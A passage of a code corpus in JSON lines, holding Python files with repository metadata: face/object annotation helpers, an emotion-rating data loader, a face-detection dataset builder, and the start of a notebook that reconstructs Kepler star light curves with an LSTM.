face_annotation = Annotation(\n        AnnotationType.PERSON.name,\n        FacePerson(uri, name, age, Gender[gender.upper()], face_prob),\n        source,\n        current_time,\n    )\n\n    return Mention(str(uuid.uuid4()), [face_segment], [face_annotation])\n\n\ndef create_object_mention(\n    image_signal: ImageSignal,\n    source: str,\n    current_time: int,\n    bbox: Tuple[int, int, int, int],\n    name: str,\n    obj_prob: float,\n) -> Mention:\n    bbox = [\n        max(x, lower) for x, lower in zip(bbox[:2], image_signal.ruler.bounds[:2])\n    ] + [min(x, upper) for x, upper in zip(bbox[-2:], image_signal.ruler.bounds[-2:])]\n    object_segment = image_signal.ruler.get_area_bounding_box(*bbox)\n    object_annotation = Annotation(\n        AnnotationType.OBJECT.name,\n        ImageObject(str(uuid.uuid4()), name, obj_prob),\n        source,\n        current_time,\n    )\n\n    return Mention(str(uuid.uuid4()), [object_segment], [object_annotation])\n\n\n@emissor_dataclass(namespace=\"http://cltl.nl/leolani/n2mu\")\nclass FacePerson(Person):\n    face_prob: float\n\n\n@emissor_dataclass(namespace=\"http://cltl.nl/leolani/n2mu\")\nclass ImageObject(Object):\n    obj_prob: float\n", "meta": {"hexsha": "7e51df77259fd5a150a832176c19f18f80b79cf0", "size": 14735, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/chatbots/util/face_util.py", "max_stars_repo_name": "leolani/cltl-chatbots", "max_stars_repo_head_hexsha": "45a2300c87853911b53f19e53ab7c8a4705ba2e6", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/chatbots/util/face_util.py", "max_issues_repo_name": "leolani/cltl-chatbots", "max_issues_repo_head_hexsha": "45a2300c87853911b53f19e53ab7c8a4705ba2e6", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 14, "max_issues_repo_issues_event_min_datetime": "2021-11-02T08:33:53.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-30T16:00:01.000Z", "max_forks_repo_path": "src/chatbots/util/face_util.py", "max_forks_repo_name": "leolani/cltl-chatbots", "max_forks_repo_head_hexsha": "45a2300c87853911b53f19e53ab7c8a4705ba2e6", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-12-11T11:54:29.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-11T11:54:29.000Z", "avg_line_length": 27.5420560748, "max_line_length": 90, "alphanum_fraction": 0.6491347133, "include": true, "reason": "import numpy", "num_tokens": 3647, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5078118642792044, "lm_q2_score": 0.1919327841361473, "lm_q1q2_score": 0.09746574492847508}}
{"text": "import sys\nimport logging\nimport os.path as op\nimport pandas as pd\nimport numpy as np\nfrom tqdm import tqdm \nfrom copy import copy\nfrom sklearn.preprocessing import OneHotEncoder, LabelEncoder\nfrom sklearn.model_selection import train_test_split\n\nsys.path.append('src')\nfrom noise_ceiling import convert_doubles_to_single_labels\nfrom utils import argmax_with_random_ties\n\n\nlogging.basicConfig(\n    level=logging.INFO,\n    format=\"%(asctime)s [%(funcName)-8.8s] [%(levelname)-7.7s]  %(message)s\",\n    datefmt='%Y-%m-%d %H:%M:%S',\n    handlers=[\n        logging.StreamHandler()\n    ]\n)\n\n\nDU2EN = dict(\n    Verrassing='surprise',\n    Verdrietig='sadness',\n    Bang='fear',\n    Walging='disgust',\n    Blij='happiness',\n    Boos='anger'\n)\n\n\nclass DataLoader:\n    \n    def __init__(self, sub='01', data_dir=None, rnd_seed=42, log_level=20):\n        \"\"\" Initializes a DataLoader object.\n\n        Parameters\n        ----------\n        sub : str\n            Subject ID (zero-padded)\n        data_dir : str\n            Path to data directory\n        rnd_seed : int\n            Random seed for train-test set split\n        \"\"\"\n        self.sub = sub\n        self.y = None\n        self.X = None\n        self.target_name = None \n\n        if data_dir is None:\n            data_dir = op.abspath('data')\n            if not op.isdir(data_dir):\n                raise ValueError(f\"Directory {data_dir} does not exist.\")\n\n        self.data_dir = data_dir\n        self.rnd_seed = rnd_seed\n        self.le = LabelEncoder().fit(['happiness', 'surprise', 'fear', 'sadness', 'disgust', 'anger'])\n        self.ohe = OneHotEncoder(\n            categories=self.le.classes_,\n            sparse=False\n        )\n        self.log = logging.getLogger(__name__)\n        self.log.setLevel(log_level)\n\n    def load_y(self, target='emotion', data_split='train', filter_gva=True, strategy_doubles='soft', return_doubles=False):\n        \"\"\" Loads the target variable (y). \n        \n        Parameters\n        ----------\n        target : str\n            Name of target variable (\"emotion\", \"valence\", or \"arousal\")\n        data_split : str\n            Either \"train\" or \"test\"\n        filter_gva : bool\n            Whether to remove the \"geen van allen\" ratings\n        strategy_doubles : str\n            Strategy to handle doubles (either 'soft', 'hard', or 'none').\n        \"\"\"\n\n        self.target_name = target\n\n        f = op.join(self.data_dir, 'ratings_complete', f'sub-{self.sub}_task-expressive_ratings.tsv')\n        df = pd.read_csv(f, sep='\\t', index_col=0)\n        df = df.query(\"rating_type == @target\")  # filter rating type\n\n        n_orig = df.shape[0]\n        df = df.query(\"data_split == @data_split\")\n        self.log.info(f\"Removed {n_orig - df.shape[0]} test trials (N = {df.shape[0]}).\")\n        \n        if filter_gva:  # remove \"geen van allen\" (none of all)\n            n_orig = df.shape[0]\n            df = df.query(\"rating != 'Geen van allen'\")\n            n_remov = n_orig - df.shape[0]\n            self.log.info(f\"Removed {n_remov} 'Geen van allen' trials (N = {df.shape[0]}).\")\n\n        with pd.option_context('mode.chained_assignment', None):  # suppress stupid warning\n            df.loc[:, 'rating'] = df.loc[:, 'rating'].replace(DU2EN)  # translate\n            df.loc[:, 'rating'] = self.le.transform(df['rating'])\n\n        # Handle doubles for session 1\n        if return_doubles:\n            dup_idx = df.index[df.index.duplicated()].unique()\n            dups = df.loc[dup_idx, :].sort_index()\n            return dups['rating']\n\n        if strategy_doubles in ['hard', 'soft']:  # stupid slow code\n            soft = True if strategy_doubles == 'soft' else False\n            df = convert_doubles_to_single_labels(df['rating'], soft=soft, keepdims=False)\n\n            if strategy_doubles == 'hard':\n                # Isn't this redundant, because I can do convert_doubles ... with soft=False?\n                df = pd.DataFrame(df.values.argmax(axis=1), columns=['rating'], index=df.index)\n\n            \"\"\"\n            n_orig = df.shape[0]\n            df = df.drop(dups.index, axis=0)  # remove duplicates\n\n            filt_dups = []\n            for i, idx in enumerate(dup_idx):\n                tmp = dups.loc[idx, :]\n                counts = tmp['rating'].value_counts()\n                if strategy_doubles == 'argmax':\n                    maxcount = counts.loc[counts == counts.max()].sample(n=1).index[0]\n                    filt_dups.append(tmp.loc[tmp['rating'] == maxcount, :].sample(n=1))\n            \n            filt_dups = pd.concat(filt_dups, axis=0)\n            df = pd.concat((df, filt_dups), axis=0)\n            \"\"\"\n            self.log.info(f\"Removed {n_orig - df.shape[0]} duplicates (N = {df.shape[0]}).\")\n\n        if strategy_doubles == 'soft':\n            # WARNING: source of randomness\n            df_tmp = pd.DataFrame(argmax_with_random_ties(df.values), columns=['rating'], index=df.index)\n            \n            df_tmp_train, df_test = train_test_split(df, test_size=0.15, random_state=self.rnd_seed, stratify=df_tmp['rating'])\n            df = df.loc[df_tmp_train.index, :]\n            self.y = df['rating']\n            #self.intensity = df['intensity']\n        else:\n            df, df_test = train_test_split(df, test_size=0.15, random_state=self.rnd_seed, stratify=df['rating'])\n            self.y = df['rating']\n            #self.intensity = df['intensity']\n\n        self.log.info(f\"Split into train (N = {df.shape[0]}) and test (N = {df_test.shape[0]}).\")\n        self.rating_df = df\n\n    def load_X(self, feature_set, n_comp=50):\n        \"\"\" Loads in predictors/independent variables (X).\n\n        Parameters\n        ----------\n        feature_set : str/list/tuple\n            Name of one or more feature-sets to use as predictors\n        n_comp : int\n            Number of components \n        \"\"\"\n\n        if not isinstance(feature_set, (list, tuple)):\n            feature_set = (feature_set,)\n\n        if self.y is None:\n            raise ValueError(\"Call load_y before load_X!\")\n\n        X = []\n        for fs in feature_set:  # load in 1 or more feature-sets\n            self.log.info(f\"Loading feature-set {fs}.\")\n            path = op.join(self.data_dir, f'featurespace-{fs}.tsv')\n            df = pd.read_csv(path, sep='\\t', index_col=0)\n            \n            if 'sub' in df.columns:\n                df = df.query(f\"sub == 'sub-{self.sub}'\").drop('sub', axis=1)\n\n            \"\"\"\n            if 'rep' in df.columns:\n                tmp_index = self.rating_df.index + '_' + self.rating_df['rep'].astype(str)\n                df.index = df.index + '_' + df['rep'].astype(str)\n            else:\n                tmp_index = self.rating_df.index\n            \"\"\"\n            #df = df.loc[tmp_index, :].set_index(self.rating_df.index)\n            df = df.loc[self.rating_df.index, :].set_index(self.rating_df.index)\n\n            if 'data_split' in df.columns:\n                df = df.drop('data_split', axis=1)\n\n            if 'pca' in fs or 'nmf' in fs:\n                df = df.iloc[:, :n_comp]\n\n            X.append(df)\n\n        X = pd.concat(X, axis=1)\n\n        self.X = X\n        self.log.info(f\"Shape X: {self.X.shape}.\")\n\n    def return_Xy(self):\n        \"\"\" Returns the labels (y) and predictors (X). \"\"\"\n        return self.X, self.y\n", "meta": {"hexsha": "ff5268bf8a8c40887ebfbf4ca14d0af3a8c15592", "size": 7271, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/data_io.py", "max_stars_repo_name": "lukassnoek/FEED_behav_analyses", "max_stars_repo_head_hexsha": "7530bc0d9fe0b1dd0d4b45529f762458c0529f8c", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/data_io.py", "max_issues_repo_name": "lukassnoek/FEED_behav_analyses", "max_issues_repo_head_hexsha": "7530bc0d9fe0b1dd0d4b45529f762458c0529f8c", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/data_io.py", "max_forks_repo_name": "lukassnoek/FEED_behav_analyses", "max_forks_repo_head_hexsha": "7530bc0d9fe0b1dd0d4b45529f762458c0529f8c", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.6421568627, "max_line_length": 127, "alphanum_fraction": 0.5608582038, "include": true, "reason": "import numpy", "num_tokens": 1776, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5078118642792044, "lm_q2_score": 0.19193278182505782, "lm_q1q2_score": 0.09746574375487642}}
{"text": "from __future__ import absolute_import, division, print_function, unicode_literals\n__metaclass__ = type\n\nimport random\nimport os\nimport math\n\nimport h5py\nimport cv2\nimport numpy as np\nimport sqlite3\n\nfrom .util import static_vars\nfrom .task import DEBUG\nfrom .google_storage import downloadIfAvailable\n\nPOSITIVE_IMAGE_DATABASE_FOLDER = 'aflw/data/'\nPOSITIVE_IMAGE_FOLDER = POSITIVE_IMAGE_DATABASE_FOLDER + 'flickr/'\nPOSITIVE_IMAGE_DATABASE_FILE = os.path.join(POSITIVE_IMAGE_DATABASE_FOLDER, 'aflw.sqlite')\nOBJECT_DATABASE_PATHS = ('data/pos12.hdf', 'data/pos24.hdf', 'data/pos48.hdf')\nTEST_IMAGE_DATABASE_FOLDER = 'Annotated Faces in the Wild/FDDB-folds/'\nTEST_IMAGES_FOLDER = 'Annotated Faces in the Wild/originalPics'\n\nDATASET_LABEL = 'data'\nLABELS_LABEL = 'labels'\nCHUNK_SIZE = 256\n\nNEGATIVE_IMAGE_FOLDER = 'Negative Images/images/'\nNEGATIVE_DATABASE_PATHS = ('data/neg12.hdf', 'data/neg24.hdf', 'data/neg48.hdf')\nTARGET_NUM_NEGATIVES_PER_IMG = 40\nTARGET_NUM_NEGATIVES = 300000\nMIN_FACE_SCALE = 80\nOFFSET = 4\n\nSCALES = ((12,12), (24,24), (48,48))\n\nCALIBRATION_DATABASE_PATHS = {SCALES[0][0]:'data/calib12.hdf', SCALES[1][0]:'data/calib24.hdf', SCALES[2][0]:'data/calib48.hdf'}\nTARGET_NUM_CALIBRATION_SAMPLES = 337500\nSN = (.83, .91, 1, 1.1, 1.21)\nXN = (-.17, 0, .17)\nYN = XN\nCALIB_PATTERNS = [(sn, xn, yn) for sn in SN for xn in XN for yn in YN]\nCALIB_PATTERNS_ARR = np.asarray(CALIB_PATTERNS)\n\nRANDOM_SEED = 42\nnp.random.seed(RANDOM_SEED)\n\ndef numDetectionWindowsAlongAxis(size, stageIdx = 0):\n    return (size-SCALES[stageIdx][0])//OFFSET+1\n\n@static_vars(faces = [])\ndef getFaceAnnotations(dbPath = POSITIVE_IMAGE_DATABASE_FILE, posImgFolder = POSITIVE_IMAGE_FOLDER):\n    if len(getFaceAnnotations.faces) == 0:\n        with sqlite3.connect(dbPath) as conn:\n            c = conn.cursor()\n\n            select_string = \"faceimages.filepath, facerect.x, facerect.y, facerect.w, facerect.h\"\n            from_string = \"faceimages, faces, facepose, facerect\"\n            where_string = \"faces.face_id = facepose.face_id and faces.file_id = faceimages.file_id and faces.face_id = facerect.face_id\"\n            query_string = \"SELECT \" + select_string + \" FROM \" + from_string + \" WHERE \" + where_string\n\n            for row in c.execute(query_string):\n                imgPath = os.path.join(posImgFolder, str(row[0]))\n\n                if os.path.isfile(imgPath):\n                    getFaceAnnotations.faces.append((imgPath,) + (row[1:]))\n\n    return getFaceAnnotations.faces\n\ndef squashCoords(img, x, y, w, h):\n    y = min(max(0, y), img.shape[0])\n    x = min(max(0, x), img.shape[1])\n    h = min(img.shape[0]-y, h)\n    w = min(img.shape[1]-x, w)\n    return (x, y, w, h)\n\ndef createPositiveDataset(stageIdx, getObjectAnnotations = getFaceAnnotations, posImgFolder = POSITIVE_IMAGE_FOLDER):\n    fileName = OBJECT_DATABASE_PATHS[stageIdx]\n    resizeTo = SCALES[stageIdx]\n    objectAnnotations = getObjectAnnotations(posImgFolder = posImgFolder)\n    images = np.zeros((len(objectAnnotations), resizeTo[1], resizeTo[0], 3), dtype = np.uint8)\n    curImg = None\n    prevImgPath = None\n\n    for i, (imgPath, x, y, w, h) in enumerate(objectAnnotations):\n        if imgPath != prevImgPath:\n            curImg = cv2.imread(imgPath)\n\n        x, y, w, h = squashCoords(curImg, x, y, w, h)\n        images[i] = cv2.resize(curImg[y:y+h,x:x+w], resizeTo)\n        prevImgPath = imgPath\n\n    with h5py.File(fileName, 'w') as out:\n        out.create_dataset(DATASET_LABEL, data = images, chunks = (CHUNK_SIZE,) + (images.shape[1:]))\n\ndef createNegativeDataset(stageIdx, negImgFolder = NEGATIVE_IMAGE_FOLDER, numNegatives = TARGET_NUM_NEGATIVES, numNegativesPerImg = TARGET_NUM_NEGATIVES_PER_IMG):\n    fileName = NEGATIVE_DATABASE_PATHS[stageIdx]\n    resizeTo = SCALES[stageIdx]\n    negativeImagePaths = [os.path.join(negImgFolder, fileName) for fileName in os.listdir(negImgFolder)]\n    images = np.zeros((numNegatives, resizeTo[1], resizeTo[0], 3), dtype = np.uint8)\n    negIdx = 0\n    numNegativesRetrievedFromImg = 0\n\n    for i in np.random.permutation(len(negativeImagePaths)):\n        if negIdx >= numNegatives: break\n        img = cv2.resize(cv2.imread(negativeImagePaths[i]), None, fx = resizeTo[0]/MIN_FACE_SCALE, fy = resizeTo[1]/MIN_FACE_SCALE)\n\n        for xOffset in np.random.permutation(numDetectionWindowsAlongAxis(img.shape[1], stageIdx)):\n            if negIdx >= numNegatives or numNegativesRetrievedFromImg >= numNegativesPerImg: break\n\n            for yOffset in np.random.permutation(numDetectionWindowsAlongAxis(img.shape[0], stageIdx)):\n                if negIdx >= numNegatives or numNegativesRetrievedFromImg >= numNegativesPerImg: break\n                x, y, w, h = squashCoords(img, resizeTo[0]*xOffset, resizeTo[1]*yOffset, *resizeTo)\n\n                if (w == resizeTo[0] and h == resizeTo[1]):\n                    images[negIdx] = img[y:y+h,x:x+w]\n                    negIdx += 1\n                    numNegativesRetrievedFromImg += 1\n\n        numNegativesRetrievedFromImg = 0\n\n    if negIdx < len(images)-1:\n        images = np.delete(images, np.s_[negIdx:], 0)\n\n    with h5py.File(fileName, 'w') as out:\n        out.create_dataset(DATASET_LABEL, data = images, chunks = (CHUNK_SIZE,) + (images.shape[1:]))\n\ndef mineNegatives(stageIdx, negImgFolder = NEGATIVE_IMAGE_FOLDER, numNegatives = TARGET_NUM_NEGATIVES):\n    from .detect import detectMultiscale\n\n    fileName = NEGATIVE_DATABASE_PATHS[stageIdx]\n    resizeTo = SCALES[stageIdx]\n    negativeImagePaths = [os.path.join(negImgFolder, fileName) for fileName in os.listdir(negImgFolder)]\n    images = np.zeros((numNegatives, resizeTo[1], resizeTo[0], 3), dtype = np.uint8)\n    negIdx = 0\n\n    for i in np.random.permutation(len(negativeImagePaths)):\n        if negIdx >= numNegatives: break\n        img = cv2.imread(negativeImagePaths[i])\n        coords = detectMultiscale(img, stageIdx-1)\n\n        for xMin, yMin, xMax, yMax in coords:\n            if negIdx >= numNegatives: break\n            xMin, yMin, w, h = squashCoords(img, xMin, yMin, xMax-xMin, yMax-yMin)\n            images[negIdx] = cv2.resize(img[yMin:yMin+h, xMin:xMin+w], resizeTo)\n            negIdx += 1\n\n    if negIdx < len(images)-1:\n        images = np.delete(images, np.s_[negIdx:], 0)\n\n    with h5py.File(fileName, 'w') as out:\n        out.create_dataset(DATASET_LABEL, data = images, chunks = (CHUNK_SIZE,) + (images.shape[1:]))\n\ndef createCalibrationDataset(stageIdx, getObjectAnnotations = getFaceAnnotations, posImgFolder = POSITIVE_IMAGE_FOLDER, numCalibrationSamples = TARGET_NUM_CALIBRATION_SAMPLES, calibPatterns = CALIB_PATTERNS):\n    numCalibrationSamples = math.inf if numCalibrationSamples is None else numCalibrationSamples\n    objectAnnotations = getObjectAnnotations(posImgFolder = posImgFolder)\n\n    resizeTo = SCALES[stageIdx]\n    datasetLen = len(objectAnnotations)*len(calibPatterns) if numCalibrationSamples == math.inf else numCalibrationSamples\n    dataset = np.zeros((datasetLen, resizeTo[1], resizeTo[0], 3), np.uint8)\n    labels = np.zeros((datasetLen, 1))\n    sampleIdx = 0\n\n    fileName = CALIBRATION_DATABASE_PATHS.get(resizeTo[0])\n\n    curImg = None\n    prevImgPath = None\n    \n    for i, (imgPath, x, y, w, h) in enumerate(objectAnnotations):\n        if sampleIdx >= numCalibrationSamples: break\n\n        if imgPath != prevImgPath:\n            curImg = cv2.imread(imgPath)\n\n        for n, (sn, xn, yn) in enumerate(CALIB_PATTERNS):\n            if sampleIdx >= numCalibrationSamples: break\n            box = squashCoords(curImg, x + int(xn*w), y + int(yn*h), int(w*sn), int(h*sn))\n\n            if box[2] > 0 and box[3] > 0:\n                (box_x, box_y, box_w, box_h) = box\n                dataset[sampleIdx] = cv2.resize(curImg[box_y:box_y+box_h,box_x:box_x+box_w], resizeTo)\n                labels[sampleIdx] = n \n                sampleIdx += 1\n\n    if sampleIdx < datasetLen:\n        labels = np.delete(labels, np.s_[sampleIdx:], 0)\n        dataset = np.delete(dataset, np.s_[sampleIdx:], 0)\n\n    with h5py.File(fileName, 'w') as out:\n        out.create_dataset(LABELS_LABEL, data = labels, chunks = (CHUNK_SIZE, 1))\n        out.create_dataset(DATASET_LABEL, data = dataset, chunks = (CHUNK_SIZE, resizeTo[1], resizeTo[0], 3))\n\ndef getTestImagePaths(testImgDbFolder = TEST_IMAGE_DATABASE_FOLDER, testImgsFolder = TEST_IMAGES_FOLDER):\n    imgPaths = []\n\n    for fileName in os.listdir(testImgDbFolder):\n        if 'ellipse' not in fileName:\n            with open(os.path.join(testImgDbFolder, fileName)) as inFile:\n                imgPaths.extend(inFile.read().splitlines())\n\n    return [os.path.join(testImgsFolder, imgPath) + '.jpg' for imgPath in imgPaths]\n\nclass DatasetManager():\n    normalizers = {}\n\n    def __init__(self, model, getObjectAnnotations = getFaceAnnotations, posImgFolder = POSITIVE_IMAGE_FOLDER, negImgFolder = NEGATIVE_IMAGE_FOLDER):\n        from .model import ObjectCalibrator\n        self.model = model\n        self.isCalib = isinstance(self.model, ObjectCalibrator)\n        self.stageIdx = model.getStageIdx()\n        self.posDatasetFilePath = OBJECT_DATABASE_PATHS[self.stageIdx]\n        self.negDatasetFilePath = NEGATIVE_DATABASE_PATHS[self.stageIdx]\n        self.calibDatasetFilePath = CALIBRATION_DATABASE_PATHS[SCALES[self.stageIdx][0]]\n        self.posImgFolder = posImgFolder\n        self.negImgFolder = negImgFolder\n\n        self.getObjectAnnotations = getObjectAnnotations\n\n    def getParams(self):\n        return {'getObjectAnnotations': self.getObjectAnnotations, 'posImgFolder': self.posImgFolder, 'negImgFolder': self.negImgFolder}\n\n    def _createFile(self, fileName, **kwargs):\n        if not os.path.isfile(fileName) and not downloadIfAvailable(fileName):\n            if fileName in OBJECT_DATABASE_PATHS:\n                createPositiveDataset(self.stageIdx, **kwargs)\n            elif fileName in  NEGATIVE_DATABASE_PATHS:\n                (createNegativeDataset if self.stageIdx == 0 else mineNegatives)(self.stageIdx, **kwargs)\n            elif fileName in CALIBRATION_DATABASE_PATHS.values():\n                createCalibrationDataset(self.stageIdx, **kwargs)\n\n    def getPosDatasetFilePath(self):\n        self._createFile(self.posDatasetFilePath, posImgFolder = self.posImgFolder, getObjectAnnotations = self.getObjectAnnotations)\n        return self.posDatasetFilePath\n\n    def getNegDatasetFilePath(self):\n        self._createFile(self.negDatasetFilePath, negImgFolder = self.negImgFolder)\n        return self.negDatasetFilePath\n\n    def getCalibDatasetFilePath(self):\n        if self.isCalib: self._createFile(self.calibDatasetFilePath, posImgFolder = self.posImgFolder, getObjectAnnotations = self.getObjectAnnotations)\n        return self.calibDatasetFilePath\n\n    def getLabels(self):\n        labels = None\n\n        if self.isCalib:\n            calibDatasetFilePath = self.getCalibDatasetFilePath()\n\n            with h5py.File(calibDatasetFilePath, 'r') as calibDatasetFile:\n                labels = calibDatasetFile[LABELS_LABEL][:]\n\n        return labels\n\n    def getNormalizer(self):\n        from .preprocess import ImageNormalizer\n\n        if DatasetManager.normalizers.get(self.model) is None:\n            normalizer = ImageNormalizer(self.getPosDatasetFilePath(), self.getNegDatasetFilePath(), self.model.getNormalizationMethod())\n            normalizer.addDataAugmentationParams(self.model.getNormalizationParams())\n            DatasetManager.normalizers[self.model] = normalizer\n\n        return DatasetManager.normalizers[self.model]\n\n    def getPaths(self):\n        return [self.getPosDatasetFilePath(), self.getNegDatasetFilePath()] if not self.isCalib else [self.getCalibDatasetFilePath(), None]", "meta": {"hexsha": "c52e4359d7b0f907802a869993a0d9dc2ba9f745", "size": 11623, "ext": "py", "lang": "Python", "max_stars_repo_path": "Vision/Face Detection/trainer/data.py", "max_stars_repo_name": "MissouriMRR/DroneKit", "max_stars_repo_head_hexsha": "979fc814c333db843252abe642dfb741613bfc94", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-07-20T02:53:01.000Z", "max_stars_repo_stars_event_max_datetime": "2020-07-20T02:53:01.000Z", "max_issues_repo_path": "Vision/Face Detection/trainer/data.py", "max_issues_repo_name": "MissouriMRR/DroneKit", "max_issues_repo_head_hexsha": "979fc814c333db843252abe642dfb741613bfc94", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Vision/Face Detection/trainer/data.py", "max_forks_repo_name": "MissouriMRR/DroneKit", "max_forks_repo_head_hexsha": "979fc814c333db843252abe642dfb741613bfc94", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 43.8603773585, "max_line_length": 208, "alphanum_fraction": 0.6947431816, "include": true, "reason": "import numpy", "num_tokens": 3041, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5078118642792044, "lm_q2_score": 0.19193277951396834, "lm_q1q2_score": 0.09746574258127776}}
{"text": "# -*- coding: utf-8 -*-\n# ---\n# jupyter:\n#   jupytext:\n#     formats: ipynb,py,md\n#     text_representation:\n#       extension: .py\n#       format_name: light\n#       format_version: '1.5'\n#       jupytext_version: 1.13.3\n#   kernelspec:\n#     display_name: Python 3 (ipykernel)\n#     language: python\n#     name: python3\n# ---\n\n# +\n# Uncomment to run the notebook in Colab\n# # ! pip install -q \"wax-ml[complete]@git+https://github.com/eserie/wax-ml.git\"\n# # ! pip install -q --upgrade jax jaxlib==0.1.70+cuda111 -f https://storage.googleapis.com/jax-releases/jax_releases.html\n# -\n\n# %matplotlib inline\n\n\nimport io\nimport warnings\nfrom collections import defaultdict\nfrom pathlib import Path\nfrom typing import Any, Callable, NamedTuple, Optional, TypeVar\n\nimport haiku as hk\nimport jax\nimport jax.numpy as jnp\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport numpy as onp\nimport optax\nimport pandas as pd\nimport plotnine as gg\nimport requests\nfrom sklearn.preprocessing import MinMaxScaler\nfrom tqdm.auto import tqdm\n\nfrom wax.accessors import register_wax_accessors\nfrom wax.compile import jit_init_apply\nfrom wax.encode import Encoder\nfrom wax.modules import Buffer, FillNanInf, Lag, RollingMean\nfrom wax.unroll import unroll\n\nprint(\"jax backend {}\".format(jax.lib.xla_bridge.get_backend().platform))\njax.devices()\n\n# # \ud83d\udd2d Reconstructing the light curve of stars with LSTM \ud83d\udd2d\n#\n# [![Open in Colab](https://colab.research.google.com/assets/colab-badge.svg)](https://colab.research.google.com/github/eserie/wax-ml/blob/main/docs/notebooks/05_reconstructing_the_light_curve_of_stars.ipynb)\n\n# Let's take a walk through the stars...\n#\n# This notebook is based on the study done in\n# [this post by Christophe Pere](https://towardsdatascience.com/how-to-use-deep-learning-for-time-series-forecasting-3f8a399cf205)\n# and the notebook available on\n# [the authors's github](https://github.com/Christophe-pere/Time_series_RNN).\n#\n# We will repeat this study on starlight using the LSTM architecture to predict the observed light flux through time.\n#\n# Our LSTM implementation is based on this [notebook from Haiku's github repository](https://github.com/deepmind/dm-haiku/blob/master/examples/haiku_lstms.ipynb).\n#\n# We'll see how to use WAX-ML to ease the preparation of time series data stored in dataframes and having Nans\n# before calling a \"standard\" deep-learning workflow.\n#\n# ## Disclaimer\n#\n# Despite the fact that this code works with real data, the results presented here should not be considered as scientific knowledge insights, to the knowledge of the authors of WAX-ML, neither the results nor the data source have been reviewed by an astrophysics pair.\n#\n# The purpose of this notebook is only to demonstrate how WAX-ML can be used when applying a \"standard\" machine learning workflow, here LSTM, to analyze time series.\n\n# ## Download the data\n\nregister_wax_accessors()\n\n# + tags=[\"parameters\"]\n# Parameters\nSTAR = \"007609553\"\nSEQ_LEN = 64\nBATCH_SIZE = 8\nTRAIN_SIZE = 2 ** 16\nNUM_EPOCHS = 10\nNUM_STARS = None\nRECORD_FREQ = 100\nTOTAL_LEN = None\nTRAIN_DATE = \"2016\"\nCACHE_DIR = Path(\"./cached_data/\")\n# -\n\n# %%time\nfilename = CACHE_DIR / \"kep_lightcurves.parquet\"\ntry:\n    raw_dataframe = pd.read_parquet(open(filename, \"rb\"))\n    print(f\"data read from {filename}\")\nexcept FileNotFoundError:\n    # Downloading the csv file from Chrustioge Pere GitHub account\n    download = requests.get(\n        \"https://raw.github.com/Christophe-pere/Time_series_RNN/master/kep_lightcurves.csv\"\n    ).content\n    raw_dataframe = pd.read_csv(io.StringIO(download.decode(\"utf-8\")))\n    # set date index\n    raw_dataframe.index = pd.Index(\n        pd.date_range(\"2009-03-07\", periods=len(raw_dataframe.index), freq=\"h\"),\n        name=\"time\",\n    )\n    # save dataframe locally in CACHE_DIR\n    CACHE_DIR.mkdir(exist_ok=True)\n    raw_dataframe.to_parquet(filename)\n    print(f\"data saved in {filename}\")\n\n\n# shortening of data to speed up the execution of the notebook in the CI\nif TOTAL_LEN:\n    raw_dataframe = raw_dataframe.iloc[:TOTAL_LEN]\n\n\n# Let's visualize the description of this dataset:\n\nraw_dataframe.describe().T.to_xarray()\n\n\nstars = raw_dataframe.columns\nstars = sorted(list(set([i.split(\"_\")[0] for i in stars])))\nprint(f\"The number of stars available is: {len(stars)}\")\nprint(f\"star identifiers: {stars}\")\n\ndataframe = raw_dataframe[[i + \"_rscl\" for i in stars]].rename(\n    columns=lambda c: c.replace(\"_rscl\", \"\")\n)\ndataframe.columns.names = [\"star\"]\ndataframe.shape\n\nif NUM_STARS:\n    columns = dataframe.columns.tolist()\n    columns.remove(STAR)\n    dataframe = dataframe[[STAR] + columns[: NUM_STARS - 1]]\n\n# ## Rolling mean\n\n# We will smooth the data by applying a rolling mean with a window of 100 periods.\n\n# ### Count nan values\n#\n# But before since the dataset has some nan values, we will extract few statistics\n# about the density of nan values in windows of size 100.\n#\n# It will be the occasion to show a usage of the `wax.modules.Buffer` module with the `format_outputs=False`\n# option for the dataframe accessor `.wax.stream`.\n\n\n# Let's apply the `Buffer` module to the data:\n\nbuffer, _ = dataframe.wax.stream(format_outputs=False).apply(lambda x: Buffer(100)(x))\n\nassert isinstance(buffer, jnp.ndarray)\n\n# Equivalently, we can use wax `unroll` function.\n\n\nbuffer = unroll(lambda x: Buffer(100)(x))(jax.device_put(dataframe.values))\n\n# Let's describe the statistic of nans with pandas:\n\ncount_nan = jnp.isnan(buffer).sum(axis=1)\npd.DataFrame(onp.array(count_nan)).stack().describe().astype(int)\n\n# ### Computing the rolling mean\n\n# We will choose a `min_periods` of 5 in order to keep at leas 75% of the points.\n\n# %%time\ndataframe_mean, _ = dataframe.wax.stream().apply(\n    lambda x: 